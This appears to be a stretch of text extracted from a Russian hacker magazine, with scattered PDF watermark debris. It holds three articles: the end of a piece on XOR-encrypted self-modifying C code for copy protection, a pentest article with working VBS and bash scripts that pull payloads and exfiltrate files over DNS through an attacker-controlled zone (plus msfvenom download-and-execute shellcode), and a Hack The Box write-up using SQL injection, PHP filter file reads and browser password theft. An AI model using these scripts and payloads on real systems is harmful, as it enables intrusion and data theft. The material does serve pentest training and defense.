Другое коварство оптимизирующих компиляторов (как мы видели выше, когда настраивали компилятор) заключается в том, что они выкидывают ими все не используемые (с их точки зрения) переменные. Например, в приведенной выше программе в буфер buff что-то пишется, но ничего оттуда не читается! А передачу управления на буфер большинство компиляторов (в том числе и Microsoft Visual C++) распознать не в силах, вот они и опускают копирующий код, отчего управление передается на неинициализированный буфер с очевидными последствиями. Если возникнут подобные проблемы, попробуй отключить оптимизацию вообще (плохо, конечно, но надо).

Откомпилированная программа по-прежнему не работает? Вероятнее всего, причина в том, что компилятор вставляет в конец каждой функции вызов процедуры, контролирующей состояние стека. Именно так ведет себя Microsoft Visual C++, помещая в отладочные проекты вызов функции chkesp (не ищи ее описания в документации — его там нет). А вызов этот, как нетрудно догадаться, относительный! К сожалению, никакого документированного способа это запретить, по-видимому, не существует, но в финальных (Release) проектах Microsoft Visual C++ не контролирует состояние стека при выходе из функции, и все работает нормально.

САМОМОДИФИЦИРУЮЩИЙСЯ КОД КАК СРЕДСТВО ЗАЩИТЫ ПРИЛОЖЕНИЙ

И вот после стольких мытарств и ухищрений злополучный пример запущен и победно выводит на экран «Hello, World!». Резонный вопрос: а зачем, собственно, все это нужно? Какая выгода от того, что функция будет исполнена в стеке? Ответ: код функции, исполняющейся в стеке, можно прямо на лету изменять, например расшифровать ее.

Шифрованный код чрезвычайно затрудняет дизассемблирование и усиливает стойкость защиты, а какой разработчик не хочет уберечь свою программу от хакеров? Разумеется, одна лишь шифровка кода не очень-то серьезное препятствие для взломщика, снабженного отладчиком или продвинутым дизассемблером наподобие IDA Pro.

Простейший алгоритм шифрования заключается в последовательной обработке каждого элемента исходного текста операцией «исключающее ИЛИ» (XOR). Повторное применение XOR к зашифрованному тексту позволяет вновь получить исходный текст.

Следующий пример save_demo_to_file читает содержимое функции Demo, зашифровывает его и записывает полученный результат в файл, после чего открывает файл с диска, загружает данные, расшифровывает последовательность байтов и исполняет их, как ни в чем не бывало:

#include <stdio.h> #include <memory.h>

void Demo(int (*_printf) (const char*, ...))

{

_printf("Hello, World!\n"); return;

}

int write_file(const char* filename, unsigned char* buff, const int func_len)

{

FILE* f;

if (fopen_s(&f, filename, "wb") == 0) { for (int a = 0; a < func_len; a++) {

unsigned char c = buff[a] ^ 0x77; buff[a] = c;

fputc(c, f);

}

fclose(f);

}

else return -1;

return 0;

}

int read_file(const char* filename, unsigned char* buff, const int func_len)

{

FILE* f;

if (fopen_s(&f, "Data.bin", "rb") == 0) { int bc = 0;

while (!feof(f)) {

unsigned char c = fgetc(f); buff[bc] = c ^ 0x77;

bc++;

}

fclose(f);

}

else return -1;

return 0;

}

int main(int argc, char* argv[])

{

unsigned char buff[1000];

void (*_Demo) (int (*) (const char*, ...)); int(*_main) (int, char**);

int (*_printf) (const char*, ...); _Demo = Demo;

_main = main; _printf = printf;

int func_len = (unsigned int)_main - (unsigned int)_Demo;

for (int a = 0; a < func_len; a++) buff[a] = ((unsigned char*)_Demo)[a];

const char* fname = "Data.bin";

// Выводим последовательность байтов на экран printf("%s\n", buff);

// Зашифровываем последовательность байтов и пишем в файл write_file(fname, buff, func_len);

// Выводим измененную последовательность байтов на экран printf("%s\n", buff);

// Очищаем массив байтов memset(buff, 0, 1000);

// Выводим обнуленную последовательность байтов на экран printf("%s\n", buff);

// Читаем байты из файла, одновременно расшифровывая их read_file(fname, buff, func_len);

// Выводим итоговую последовательность байтов на экран printf("%s\n", buff);

_Demo = (void (*) (int (*) (const char*, ...))) &buff[0]; _Demo(_printf);

return 0;

}

Чтобы скомпилировать программу, установи для среды разработки те же параметры, что были в прошлом проекте: платформа — x86, режим — Release. Также можешь отключить оптимизацию.

Для наглядности выполняемые программой операции помещены в отдельные функции. Как уже было сказано выше, функция Demo выступает объектом эксперимента: сначала она читается из основной функции main, тем самым ее тело сохраняется в массиве байтов buff. Затем имя файла для сохранения, этот буфер и его длина передаются функции write_file, которая побайтно записывает содержимое буфера в файл, одновременно шифруя каждый байт. При этом в буфере зашифрованный байт заменяет исходный. Закончив свое выполнение, функция write_file возвращает в полученном параметре указатель на модифицированный буфер.

После вывода содержимого буфера на консоль программа очищает его и вызывает функцию read_file, передавая ей имя файла, который надо прочесть, обнуленный буфер и его длину. Открыв заданный двоичный файл, read_file читает его до конца, перебирая, расшифровывая и сохраняя в буфере каждый байт. Когда весь файл расшифрован, а буфер заполнен, указатель на него в полученном параметре возвращается в основную функцию, где происходит присвоение содержимого массива байтов ранее объявленному указателю _Demo на функцию, имеющую прототип функции Demo.

Наконец, с помощью указывающего в стек указателя программа вызывает функцию Demo, только что загруженную из файла.

Обрати внимание: после каждой операции программа выводит содержимое буфера на экран. Таким образом, завершив свое выполнение, программа оставляет в консоли следующий вывод.

Плюс в папке с программой появляется файл Data.bin, содержащий двоичный зашифрованный код функции Demo.

Зашифрованный код — следующий уровень защиты приложений

Хотя теперь прежде, чем выполнять код, программа проворачивает с ним каверзные манипуляции, для хакера с дизассемблером и пятью минутами лишнего времени не составит большого труда разобраться в хитросплетениях кода.

Ачто, если из исходного текста программы напрочь удалить функцию Demo,

авзамен поместить ее зашифрованное содержимое в строковой переменной

(впрочем, необязательно именно строковой)? Затем в нужный момент это содержимое может быть расшифровано, скопировано в локальный буфер и вызвано для выполнения. Один из вариантов реализации зашифрованной программы приведен в следующем листинге — cipher_program:

#include <stdio.h> #include <string.h> #include <cstdlib>

int main(int argc, char* argv[])

{

char buff[1000] = "";

int (*_printf) (const char*, ...);

void (*_Demo) (int (*) (const char*, ...));

// Эта последовательность байтов должна быть записана в одну строку

char code[] = "\x22\xFC\x9B\xF4\x9B\x67\xB1\x32\x87\x3F\xB1\ x32\x86\x12\xB1\x32\x85\x1B\xB1\x32\x84\x1B\xB1\x32\x83\x18\xB1\ x32\x82\x5B\xB1\x32\x81\x57\xB1\x32\x80\x20\xB1\x32\x8F\x18\xB1\ x32\x8E\x05\xB1\x32\x8D\x1B\xB1\x32\x8C\x13\xB1\x32\x8B\x56\xB1\ x32\x8A\x7D\xB1\x32\x89\x77\xFA\x32\x87\x27\x88\x22\x7F\xF4\xB3\ x73\xFC\x92\x2A\xB4";

_printf = printf;

int code_size = _countof(code);

if (strcpy_s(buff, code_size, code) == 0) { for (int a = 0; a < code_size; a++)

buff[a] = buff[a] ^ 0x77;

_Demo = (void (*) (int (*) (const char*, ...))) &buff[0]; _Demo(_printf);

}

return 0;

}

Чтобы построить программу, нужно, как в прошлый раз, выбрать платформу x86, режим — Release. И, возможно, отключить оптимизацию.

Победный вывод приветственной строчки зашифрованной процедурой

Теперь даже при наличии исходных текстов алгоритм работы функции Demo будет представлять загадку! Этим обстоятельством можно воспользоваться, чтобы скрыть некоторую критическую информацию, например процедуру генерации ключа или проверку серийного номера.

Проверку серийного номера желательно организовать так, чтобы даже после расшифровки кода ее алгоритм представлял бы головоломку для хакера.

ЗАКЛЮЧЕНИЕ

Многие считают использование самомодифицирующегося кода «дурным» примером программирования и обвиняют его в том, что он не переносим, плохо совместим с разными операционными системами, требует обязательно обращаться к ассемблеру и так далее. С появлением Windows NT этот список пополнился еще одним умозаключением, дескать, самомодифицирующийся код — только для MS-DOS, в нормальных же операционных системах он невозможен.

Как показывает статья, все эти предположения, мягко выражаясь, неверны. Другой вопрос: так ли необходим самомодифицирующийся код и можно ли без него обойтись? Низкая эффективность существующих защит (обычно программы ломаются быстрее, чем успевают дойти до легального потребителя) и огромное количество программистов, стремящихся «топтанием клавиш» заработать себе на хлеб, свидетельствует, что необходимо усиливать защитные механизмы любыми доступными средствами, в том числе и рассмотренным выше самомодифицирующимся кодом.

В противостоянии разработчиков легального софта и взломщиков с их изощренным инструментарием самомодифицирующийся код выступает на стороне первых. Хотя в текущих условиях он предоставляет не настолько изящные механизмы, которые были доступны в эпоху MS-DOS, даже сейчас в руках опытного программиста они позволяют реализовать достойную защиту только с использованием языков высокого уровня.

«Фундаментальные основы хакерства» подошли к концу. Я был рад работать над этим фундаментальным трудом Криса Касперски, привести его в соответствие современным реалиям и стандартам. Как ты мог заметить, главная причина трансформации программного обеспечения для IBM PC за последние пятнадцать лет — это повсеместный переход на процессорную архитектуру x86-64. Все остальные изменения обусловлены именно этим.

Надеюсь, тебе тоже было интересно читать и разбирать примеры.

Время идет, технологии развиваются, фундаментальные основы хакерства тоже расширяются. Поэтому присутствуют мысли о некоем продолжении материала в том же духе.

Благодарю всех читателей, особенно тех, кто оставлял полезные комментарии, позволившие исправить опечатки и дополнить материал. Спасибо всем, кто интересуется темой и читает статьи: благодаря вашей активности я видел, что тема «Фундаментальных основ» интересна и нужна.

Также хочу поблагодарить наших замечательных редакторов, в частности: Валентина Холмогорова, без устали работающего над моими статьями на протяжении нескольких лет, и Александра Лозовского, хотя он уже не принимает участие в создании «Хакера». Именно с ним мы начали этот проект и решили сделать все максимально качественно, несмотря на затраченное время.

Сведения о дальнейшем развитии проекта «Фундаментальных основ», в том числе о публикации в виде книги, ищи на моем сайте — на странице, посвященной этому проекту. Хотя каждая статья содержит исходный код всех рассматриваемых примеров, этот код, дизассемблерные листинги и дополнительные материалы по теме будут размещены на моем сайте для свободного скачивания.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЗУЧАЕМ МЕТОДЫ ПЕРЕДАЧИ ДАННЫХ ПРИ ПЕНТЕСТАХ

Представь, что тебе удалось пробить сетевой периметр и получить доступ к серверу. Сервер входит во внутреннюю сеть компании, а это значит, что ты можешь проникнуть и туда. Но, к сожалению, скомпрометированный узел находится в DMZ и не имеет выхода в интернет. Сможем ли мы пробраться внутрь теперь?

s0i37

Lead cybersecurity analyst at USSC t.me/s0i37_channel s0i37@ya.ru

В большинстве случаев внутренние сети никак не ограничивают разрешение DNS-имен произвольных зон. А поскольку природа DNS распределенная, тот или иной DNS-запрос может приходить точно на подконтрольный сервер злоумышленника. В итоге мы получим полноценный канал передачи данных.

В наши дни существуют замечательные решения для организации целых VPN-туннелей через DNS, такие как iodine. При этом, даже если ты не имеешь прав root, ты всегда можешь воспользоваться dnscat или dns2tcp, который пробросит произвольное соединение, скажем, на прокси. И в том и в другом случае ты сможешь преодолеть ограничения файрволов и начать продвижение по внутренней сети.

Но остается нерешенным главный вопрос: как передать эти программы в скомпрометированную сеть? В этом нам поможет набор моих скриптов для инфильтрации и эксфильтрации данных на все случаи жизни. Главная их особенность в полном отсутствии требований к административным привилегиям и прицел на переносимость — ведь на исследуемом сервере окажется либо Windows, либо Linux.

ИНФИЛЬТРАЦИЯ ЧЕРЕЗ DNS

DNS — наш незаменимый помощник. С помощью следующего кода мы можем скачать любой файл с использованием DNS на любую Windows:

dns_download.vbs

On Error Resume Next

Set objShell = CreateObject("WScript.Shell")

Set writer = CreateObject("Scripting.FileSystemObject"). createtextfile("c:\windows\temp\out.exe")

For d = 1 To 1190

pos = 0

While pos = 0

Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt. yourzone.tk")

res = exec.Stdout.ReadAll() pos = inStr(1,res,"?")

txt = Mid(res,pos+1,253) Wscript.Echo d & " " & txt

Wend

For b = 0 To Len(txt)/2-1

writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2)))

Next

Next

А вот скрипт для Linux:

dns_download.sh

#!/bin/bash

for i in `seq $2` do

answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4` echo ${answ:2:-1} | xxd -r -p - >> $3

echo $i ${answ:2:-1}

done

Язык VBS обеспечивает нам стопроцентную переносимость между всеми версиями Windows (в отличие от PowerShell). Под Linux, как всегда, используем bash.

На стороне скомпрометированного сервера скрипты запускаются следующим образом.

Вариант для Windows:

cscript.exe dns_download.vbs

Для Linux:

./dns_download.sh attacker.tk 1190 /tmp/dnscat

На стороне атакующего — так:

sudo ./dns_upload.py --udp --file dnscat.exe

Например, на скриншотах ниже программа dns2tcpc.exe передается через DNS с NS-сервера подконтрольной мне DNS-зоны на victim с использованием чистого VBS.

Произвольные данные будут проходить через TXT-записи в виде hexastring. Далее мы можем развивать DNS-туннелирование уже с использованием

привычных инструментов.

ЭКСФИЛЬТРАЦИЯ ЧЕРЕЗ DNS

Аналогичным образом мы можем и выгружать файлы с victim. На атакующей стороне это делается так:

sudo ./dns_download.py --udp --file secrets.docx

На стороне жертвы — так:

cscript.exe dns_upload.vbs c:\path\to\secrets.docx attacker.tk

DNS-ØÅËË-ÊÎÄ

При эксплуатации уязвимостей из интернета нужно помнить, что атакуемая система, скорее всего, находится в DMZ, откуда доступа в интернет у нее может и не быть. Так что заряжать эксплоит reverse_tcp шелл-кодами окажется бесполезным занятием. Шелл не откроется, и ты подумаешь, что цель неуязвима, пропатчена или просто эксплоит нерабочий. Хотя все дело в payload.

Мы можем внедрить наш DNS-транспорт в любой шелл-код, используя dns_download_exec:

msfvenom -p windows/exec CMD=$(cat dns_download_exec.bat) -f raw -o dns_shellcode

msfvenom -p linux/x86/exec CMD=$(cat dns_download_exec.sh) -f raw -o dns_shellcode

Такой шелл-код в зависимости от обстоятельств можно вставить в любой эксплоит или инжектить сразу в память. Он не только скачивает по DNS, но еще и запускает принятый файл. Таким образом, например, мы можем сразу передать dnscat либо же что-то свое.

А теперь перейдем к пивоту в реально трудных обстоятельствах.

ИНФИЛЬТРАЦИЯ ЧЕРЕЗ НАЖАТИЯ КЛАВИШ

Что делать, если DNS у нас не резолвит внешние зоны? Такое тоже может случиться.

Вне зависимости от того, где ты оказался, будь то реверс-шелл, Telnet без возможности передачи файлов или, наконец RDP, на котором нет буфера обмена, ты всегда можешь «набить» любой файл, используя отправку нажатием клавиш.

В Linux есть специальная команда xdotool, позволяющая передать текст произвольной длины через простые нажатия клавиш. С помощью этой же утилиты мы можем предварительно активировать фокус на том или ином окне. И всего этого нам достаточно, чтобы передать содержимое любого файла в любое окно. Причем мы можем передать не только текстовый файл (какой-то скрипт), но и бинарный (любую программу):

setxkbmap us

cat somescript.ps1 | ./text_send.sh

cat someprog.exe | base64 | ./text_send.sh

Чтобы исключить ошибочный набор текста в том же терминале, скрипт будет ждать клика мышью по тому окну, в котором требуется ввести текст. В примере, показанном на скриншотах ниже, мы успешно передали на атакуемый узел классический netcat.exe.

Этот метод по скорости схож с DNS и позволил за пятнадцать минут передать netcat.exe (57 Кбайт) без использования побочных каналов, только простым набором текста. Это примерно 125 байт/с, или 1 Мбайт за 2 ч. Этого вполне достаточно для передачи хакерского ПО за умеренное время.

Скрипт может оказаться полезным для автоматизации действий где угодно. Например, всегда можно использовать text_send.sh, чтобы автоматизировать набор длинных скриптов на изолированных victim, если буфер обмена недоступен:

setxkbmap us

cat dns_download.bat | ./text_send.sh

Если вернуться немного назад, к теме с DNS, то написание в блокноте кода первичного DNS-загрузчика на victim можно было автоматизировать, просто прогнав его код через text_send.sh на атакующей стороне.

Аналогично можем «набить» и бинарник, закодированный в Base64.

ЭКСФИЛЬТРАЦИЯ ЧЕРЕЗ QR

Используя метод с нажатиями клавиш, мы можем загрузить любой файл на машину жертвы. Но как организовать передачу данных в обратном направлении? Есть возможность выкачивать файлы с victim через QR-коды. К счастью, в Linux (attacker-side) распознавание можно автоматизировать: graphicsmagick снимает скриншот экрана, а программа из zbar-tools распознаёт код.

А вот для генерации QR-кодов на victim-side была разработана простая кросс-платформенная программка, использующая библиотеку QR-Code- generator. Код библиотеки zero-depends, так что он может быть кросс-ком- пилирован даже под другие архитектуры процессоров (это пригодится, когда проникновение выполняется через устройства наподобие IP-камер). Для компиляции и сборки ее под Windows и Linux выполняем следующие действия.

На стороне жертвы (Windows):

cl /c lib\qrcodegen.c cl /c qr_upload.c

link /out:qr_upload.exe qr_upload.obj qrcodegen.obj "change your color scheme to black on white"

chcp 866

set TIMEOUT=1000 set SIZE=100

qr_upload.exe c:\path\to\secret.bin

На стороне жертвы (Linux):

gcc -c lib/qrcodegen.c gcc -c qr_upload.c

gcc qr_upload.c qrcodegen.o -o qr_upload setterm -background white

setterm -foreground black

TIMEOUT=1000 SIZE=100 ./qr_upload /path/to/secret.bin

При генерации QR-кодов мы задаем через переменные среды количество байтов и продолжительность демонстрации картинки в миллисекундах. Тут важно тонко настроить процесс, чтобы принимающая сторона успевала распознавать данные. А на принимающей стороне (то есть на атакующей машине) тем временем все просто:

./qr_download.py

Скрипт вначале попросит ткнуть курсором в окно, из которого нужно распознавать (например, RDP-клиент). Дальше весь процесс полностью автоматизирован.

Что немаловажно, на victim QR-коды будут генерироваться прямо в консоль, и пользоваться GUI нам не понадобится. Рекомендуется установить классическую схему «черное на белом» для более качественного распознавания. На изображении ниже показан пример получения произвольного файла с изолированного хоста.

QR-эксфильтрация показывает скорость, сопоставимую с DNS. Скорость настраивается самостоятельно, в моем примере она составляла 100 байт/с. Так что, если ты располагаешь достаточным запасом времени, вполне реально выгрузить довольно большие объемы файлов.

НАЖАТИЯ КЛАВИШ + QR = TCP

Методы инфильтрации с keypress и эксфильтрации c QR-кодами предоставляют возможность передавать данные каждый в своем направлении. И скорости вполне может хватить, чтобы организовать TCP-туннелирование, которое позволит нам пробросить соединение на изолированный хост и начать атаковать узлы внутренних сетей.

Безопасность удаленного рабочего места сейчас особенно актуальна. И даже если администраторы запретили буфер обмена на RDP и решения вроде rdp2tcp не сработают либо ты пробился через Telnet, неспособный к передаче файлов, то всегда есть выход — это метод с передачей данных через QR/keypress. Его невозможно запретить. Кроме того, описанные здесь методы не потребуют поднимать привилегии на машине жертвы.

Надеюсь, эта статья продемонстрировала системным администраторам опасность резолвов произвольных DNS-зон. К подобным настройкам нужно проявлять повышенное внимание.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

РАСКРУЧИВАЕМ ДОСТУП

К MS SQL ДО ПОЛНОГО ЗАХВАТА МАШИНЫ

В этом райтапе мы с тобой проэксплуатируем SQL-инъекцию в форме авторизации сайта и с помощью отладочной функции заполучим исходник сайта и полный доступ к MS SQL. Учетку администратора захватим через эксплуатацию права WriteOwner. В общем, будет интересно!

RalfHacker hackerralf8@gmail.com

Наш подопытный — средняя по сложности машина StreamIO на основе

Windows с площадки Hack The Box.

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Начинаем, как обычно, со сканирования портов машины.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Видим много открытых портов:

53 — DNS;

80 (HTTP) — веб-сервер Microsoft IIS/10.0;

88 — Kerberos;

135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;

139 — служба сеансов NetBIOS, NetLogon;

389 — LDAP;

443 (HTTPS) — веб-сервер Microsoft IIS/10.0;

445 — SMB;

464 — служба смены пароля Kerberos;

593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;

636 — LDAP с шифрованием SSL или TLS;

1433 — Microsoft SQL Server 2019;

3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;

3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;

3389 — RDP;

5985 — WinRM;

9389 — веб-службы AD DS.

Ни SMB, ни LDAP ничего путного не ответили, к MS SQL дефолтные учетные данные не подошли, поэтому нам остался только веб. Тем более SSL-сер- тификат для порта 443 раскрывает нам еще два доменных имени, которые мы заносим в файл /etc/hosts.

10.10.11.158 streamio.htb DC.streamIO.htb watch.streamIO.htb

Главная страница сайта streamio.htb

Главная страница сайта watch.stream.htb

На первом сайте находим форму авторизации.

Панель логина

ТОЧКА ВХОДА SQL Injection

Так как мы точно знаем, что на хосте работает СУБД, стоит проверить некоторые методы для обхода авторизации. Перебирать будем по списку с помощью

Burp Intruder.

Burp Intruder — вкладка Payload Positions

Это ничего не дало, поэтому попробуем нагрузки для поиска SQL-инъекции. И срабатывает нагрузка ;WAITFOR DELAY '0:0:30 для MS SQL с временной задержкой, которую можно определить по столбцу Response time.

Результат перебора

Мы подтвердили наличие уязвимости, а значит, можем использовать sqlmap для удобной эксплуатации. Сперва запустим ПО для подбора нагрузки и создания шаблона.

sqlmap -u https://streamio.htb/login.php --data='username=admin& password=admin' -p username --batch

Информация об уязвимости

Теперь мы можем приступить к получению данных. Первым делом нужно узнать названия существующих БД (параметр --dbs).

sqlmap -u https://streamio.htb/login.php --data='username=admin& password=admin' -p username --batch --dbs

Базы данных

Тут нас интересуют две базы: streamio_backup и STREAMIO. Первую мы просмотреть не можем, поэтому получим таблицы второй (параметр --tables).

sqlmap -u https://streamio.htb/login.php --data='username=admin& password=admin' -p username --batch -D STREAMIO --tables

Таблицы из базы STREAMIO

Сразу становится ясно, что следующая цель

— таблица users. Чтобы

не пытаться вытащить все данные, попробуем

получить названия колонок

(параметр --columns).

 

sqlmap -u https://streamio.htb/login.php --data='username=admin& password=admin' -p username --batch -D STREAMIO -T users --columns

Колонки в таблице users

sqlmap -u https://streamio.htb/login.php --data='username=admin& password=admin' -p username --batch -D STREAMIO -T users -C username,password --dump

Теперь получим данные (параметр --dump) только из колонок username

и password.

Данные из базы users

У нас очень много хешей, предположительно MD5. Чтобы найти прообраз, я пользуюсь онлайновым ресурсом crackstation.net.

Взломанные хеши

В итоге мы получаем следующие пары логинов и паролей, с которыми можно попытаться авторизоваться на сайте.

Полученные учетные данные

Но, к сожалению, доступ мы так и не получаем. Может, на сайте есть админка? Чтобы найти ее, будем брутить каталоги.

ffuf -u 'https://streamio.htb/FUZZ' -t 256 -w directory_2.3_

medium_lowercase.txt

Результат перебора каталогов

Есть каталог admin, где мы авторизуемся от имени пользователя yoshihide.

Панель администратора

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

BUY

 

 

 

to

 

 

 

.co

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

p

df

 

c

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

РАСКРУЧИВАЕМ ДОСТУП К MS SQL ДО ПОЛНОГО ЗАХВАТА МАШИНЫ

ТОЧКА ОПОРЫ

У нас есть несколько доступных страниц. Но важны не сами страницы, а то, как сервер узнает, какую загрузить, — по имени параметра.

Страница User

С помощью Burp Intruder мы можем пробрутить название параметра, чтобы попробовать найти новые страницы.

Burp Intruder — вкладка Payload Positions

Результат сканирования

В итоге определяем четыре страницы. Три из них нам уже известны, а вот debug — что-то новенькое.

Содержимое страницы debug

Эта страница должна позволять читать файлы. Нас интересует код на PHP, а чтобы его получить, нужно использовать обертки на PHP. Давай закодируем страницу index.php в Base64.

?debug=php://filter/convert.base64-encode/resource=index.php

Получение страницы index.php

Для декодирования выделяем интересующий нас текст прямо в Burp

и нажимаем Ctrl-Shift-B.

Исходный код страницы

Код страницы раскрыл нам учетные данные для подключения к СУБД. Вот только CrackMapExec не разрешил нам подключиться, а DBeaver сработал без проблем. При этом мы можем просмотреть базу данных streamio_backup.

cme mssql 10.10.11.158 -u db_admin -p 'B1@hx31234567890'

Ошибка подключения к СУБД MS SQL

Содержимое таблицы users базы данных streamio_backup

Отправляем очередную порцию хешей и получаем новый пароль.

Кряк полученных хешей

Проверяем новую пару учетных данных при подключении к ресурсу SMB.

cme smb 10.10.11.158 -u nikk37 -p 'get_dem_girls2@yahoo.com'

Проверка учетных данных с помощью CrackMapExec

Учетные данные валидны. Точно так же получается подключиться к службе WinRM и забрать флаг пользователя.

evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i 10.10.11.158

Флаг пользователя

ПРОДВИЖЕНИЕ

При продвижении очень важно проверить все места, где могут быть учетные данные пользователей. Первым делом смотрим, какие программы установлены. И находим продукты Mozilla.

Get-ChildItem -Path HKLM:\SOFTWARE\Microsoft\Windows\

CurrentVersion\Uninstall

Информация о Mozilla Maintenance Service

Данные приложений обычно хранятся в каталогах по путям вроде такого:

C:\Users\nikk37\Desktop\AppData\Roaming\

Содержимое каталога Firefox

И мы нашли установленный Firefox, а браузеры — это кладезь полезной информации для пентестера. Чтобы достать данные, нам нужно определиться с профилем пользователя (в нашем случае дефолтный), а затем скачать из него два файла — logins.json и key4.db.

Профили пользователя

Расшифровать данные из этих файлов очень просто. Нам понадобится скрипт firepwd. Запустим его из каталога со скачанными файлами и получим расшифрованные учетки!

Сохраненные в Firefox пароли

Паролей накопилось очень много, поэтому получим реальных системных пользователей и пробрутим с помощью CrackMapExec.

net users /domain

Доменные пользователи

cme smb 10.10.11.158 -u users.txt -p passwords.txt

Валидные учетные данные

И получаем нового пользователя — JDgodd!

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ BloodHound

Больше ничего интересного на самом хосте не находим, поэтому поищем мисконфиги (уязвимые конфигурации). В этом может помочь BloodHound. Эта программа сканирует LDAP и использует графы для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory и Azure. Это помогает легко идентифицировать очень сложные пути атаки, которые в противном случае было бы невозможно найти быстро. Для работы с данными нам дополнительно нужно установить СУБД Neo4j. Или можно просто запустить ее в Docker.

docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/s3cr3t

neo4j

Чтобы не закидывать исполняемый файл BloodHound на хост, а потом не ска- чивать результаты сканирования обратно, можно воспользоваться версией программы на Python.

bloodhound-python -d streamio.htb -u nikk37 -p

'get_dem_girls2@yahoo.com' -gc dc.streamio.htb -c all -ns 10.10.

11.158

Сбор данных с помощью BloodHound

